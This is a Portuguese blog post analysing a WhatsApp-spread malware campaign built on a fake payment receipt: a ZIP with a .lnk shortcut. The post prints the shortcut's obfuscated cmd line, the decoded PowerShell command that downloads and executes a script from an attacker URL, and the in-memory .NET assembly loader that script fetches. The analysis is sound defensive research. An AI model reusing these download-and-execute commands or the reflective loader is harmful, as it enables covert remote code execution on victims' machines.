Post

Análise técnica do Malware do WhatsApp (Comprovante Fake) - Parte 1

Introdução

Na última semana de Setembro de 2025, um suposto malware enviado em forma de um comprovante via WhatsApp foi muito comentado na internet, tendo afetado várias pessoas e empresas.

A mensagem que a vítima recebe tem o seguinte formato, apesar de haver outras variações.

Mensagem de envio

Um suposto comprovante enviado no formato .zip, e com um aviso de que ele deve ser aberto no computador.

Até onde sabemos, o malware utiliza da sessão da vítima para se propagar pelos contatos do WhatsApp.

Análise do arquivo do “Comprovante” (dropper)

O arquivo que é enviado via WhatsApp é um arquivo .zip, com nome de um comprovante.

Um arquivo leve, com menos de 1kb.

Arquivo Zip

SHA256 -> 5d40a9399fdac4d0e9c78c0716882f1ad409a33202d38c9c2ec6419acc8afae4

Ao abrir o arquivo zipado, dentro dele há um outro arquivo, que supostamente seria o comprovante.

Conteúdo do ZIP

O arquivo tem a extensão .lnk, ou seja, é um atalho.

Atalho

É possível observar inclusive, que ao extrair, o ícone do arquivo já muda para o CMD.

O atalho executa o CMD com argumentos customizados.

Propriedades do atalho

O comando executado é o

1
C:\Windows\System32\cmd.exe /WMRX:F0E /WFXI:BNYE5S /D/C "for %O in (-w) do for %u in (e) do for %j in ("SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHI") do for %z in (.ex) do for %D in ("AaQBuAG

Porém, nas propriedades do Windows, a visualização dos argumentos é limitada.

Podemos utilizar um cat pra ler o conteúdo do arquivo, mas para uma melhor visualização, vou utilizar o Easy Link File Viewer.

Link Viewer

Argumento completo:

1
/WMRX:F0E /WFXI:BNYE5S /D/C "for %O in (-w) do for %u in (e) do for %j in ("SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHI") do for %z in (.ex) do for %D in ("AaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwBlAHgAcABhAG4AcwBpAHYAZQB1AHMAZQByAC4AYwBvAG0ALwBhAHAAaQAvAGkAdABiAGkALwBzAH") do for %o in (power) do for %k in (hid) do for %q in (nc) do for %a in (-e) do for %W in ("QAYQByAHQAdQBwAC8AZgAyAGUANQA3ADEAMQA0ADgANAAyAGIANAA4AGUAOAA4ADAAMwBiADYAZQBhAGMAMQBhAGYANwBhAGMANQA3ACcAKQA=") do for %e in (shell) do %o%e%z%u %O %k %a%q %~j%~D%~W"

Basicamente, esse código ofuscado forma:

1
powershell.exe -w hidden -enc <código base64>

E o código base64 decodado forma:

Base64 Decodado

1
IEX (New-Object Net.WebClient).DownloadString('https://expansiveuser.com/api/itbi/startup/f2e57114842b48e8803b6eac1af7ac57')

Sendo assim, o comando final é:

1
powershell.exe -w hidden IEX (New-Object Net.WebClient).DownloadString('https://expansiveuser.com/api/itbi/startup/f2e57114842b48e8803b6eac1af7ac57')

Esse comando faz um request para https://expansiveuser.com/api/itbi/startup/f2e57114842b48e8803b6eac1af7ac57 e executa o retorno dele.

O script que essa url retorna é o:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# OmVdbWIQcLsWkD0X6R4buCzGA3CbLilPEukU4R
$XO9z3 = 'bN39DL8YjJWStv4G58tcVZBxUlZNJlAgiacmwL5E6eyLG0cfSEoyVj8wGIZcKv5CzGm'
$rfoVbekl = 8587

function E2IYSQuC {
    param([int[]]$t1hDcBtL,[int]$y4FLW)

    if ($t1hDcBtL -eq $null -or $t1hDcBtL.Length -eq 0) {
        return $null
    }

    $v6YYC = New-Object byte[] $t1hDcBtL.Length

    for($i=0; $i -lt $t1hDcBtL.Length; $i++){
        $v6YYC[$i] = [byte]([math]::Floor($t1hDcBtL[$i] / $y4FLW))
    }

    return $v6YYC
}

$sYZd = [int[]]@() # Removi os valores para melhorar a visualização mas o script inteiro estará abaixo.

if ($sYZd -eq $null) {
    exit 1
}

$BwHC = E2IYSQuC $sYZd 190

if ($BwHC -eq $null -or $BwHC.Length -eq 0) {
    exit 1
}

try {
    $assembly = [System.Reflection.Assembly]::Load([Byte[]]$BwHC)
    $entryMethod = $null

    foreach ($type in $assembly.GetTypes()) {
        foreach ($method in $type.GetMethods([System.Reflection.BindingFlags]::Static -bor [System.Reflection.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::NonPublic)) {
            $attrs = $method.GetCustomAttributes([System.STAThreadAttribute], $false)
            if ($attrs.Length -gt 0) {
                $entryMethod = $method
                break
            }
        }
        if ($entryMethod -ne $null) { break }
    }

    if ($entryMethod -eq $null) {
        foreach ($type in $assembly.GetTypes()) {
            $method = $type.GetMethod('Main', [System.Reflection.BindingFlags]::Static -bor [System.Reflection.BindingFlags]::Public -bor [System.Reflection.BindingFlags]::NonPublic)
            if ($method -ne $null) {
                $entryMethod = $method
                break
            }
        }
    }

    if ($entryMethod -ne $null) {
        $entryMethod.Invoke($null, $null)
    }
} catch {}

# AujoKTDaO2CJ2ptcxFemtR


Script completo

Análise estática do Malware

O script PowerShell que é baixado do site tem uma funcionalidade até que simples.

Em resumo, ele tem uma lista de inteiros, uma função que faz uma operação matemática nesses inteiros, e uma função que executa o assembly .NET direto na memória, sem salvar nenhum arquivo.

A função que faz um cálculo simplesmente divide os número inteiros da lista por 190 e retorna uma nova lista.

  1. Passa a lista de bytes para a função de conversão (E2IYSQuC)
  2. Verifica se a conversão teve sucesso
  3. Tenta carregar o assembly na memória
  4. Nesse assembly, procura por um método com atributo STAThread ou com o nome Main
  5. Dá um Invoke no método encontrado

Tendo a lista de inteiros, fiz a conversão dela para os bytes que formam o assembly .NET que é executado.

Script utilizado:

1
2
3
4
5
6
7
8
encoded_bytes = [] # aqui vão os bytes

decoded = bytearray()
for integer in encoded_bytes:
    decoded.append(int(integer / 190))

with open("payload.bin", "wb") as f:
    f.write(decoded)

Abri esse arquivo no DIE, e ele detecta como realmente sendo uma dll .NET.

DIE

SHA256 -> 8646a46ef0988ca44edd112fac6988a6f9426c9ac1abdbe76069b71c4f1c4664

Sendo assim, abri no dnspy para tentar ler o código dele.

Logo de cara em uma das primeiras classes, é possível notar que tem vários métodos sendo importados com nomes totalmente diferentes do seu método real.

Por exemplo, o FindWindowEx sendo importado como setCurrencyNegativePatternDebugFacilityMessage. Isso dificulta um pouco a análise.

Também vemos um método com o atributo STAThread que o script PowerShell busca para fazer a execução.

DNSPY

Esse método ReadOnlyDictionaryRequestingAssembly é bem confuso, parece que o código roda com algum tipo de virtualização.

Main Method

Percebi também que as chamadas são feitas através da instrução calli, passando um ponteiro da função que deseja ser executada.

Por exemplo, como vimos na penúltima imagem, a função FindWindowEx é importada com o nome de setCurrencyNegativePatternDebugFacilityMessage.

FindWindowEx

Mas analisando o código, vemos que esse método não é chamado diretamente.

A única referência a ela é nesse outro trecho, no método PrefixCodeCryptoConfig:

PrefixCodeCryptoConfig

Porém nem mesmo esse método é chamado diretamente.

MoveNextRunnersetPositiveSign

Esse array getFileNamegetIsTypeSpec é preenchido com os ponteiros desses métodos, e a chamada delas é feita utilizando o calli, como mostrado abaixo:

Chamada

Dá pra supor que a chamada está sendo feita para a FindWindowEx por conta da assinatura dela:

System.IntPtr(System.IntPtr,System.IntPtr,System.String,System.String

1
2
3
4
5
6
Retorno: IntPtr

Primeiro argumento (hWndParent): IntPtr
Segundo argumento (hWndChildAfter): IntPtr
Terceiro argumento (lpszClass): String
Quarto argumento (lpszWindow): String

Conclusão

Como visto anteriormente, o malware parece estar usando alguma técnica de virtualização para dificultar o reversing dele. Durante o debugging deu para entender um pouco do funcionamento, mas não todo o seu fluxo.

Como estou com esse post pronto há um tempo, decidi postar como parte 1, e no futuro pretendo fazer uma parte 2 mais detalhada com foco na propagação do próprio malware através do WhatsApp da vítima.

Esta postagem está licenciada sob CC BY 4.0 pelo autor.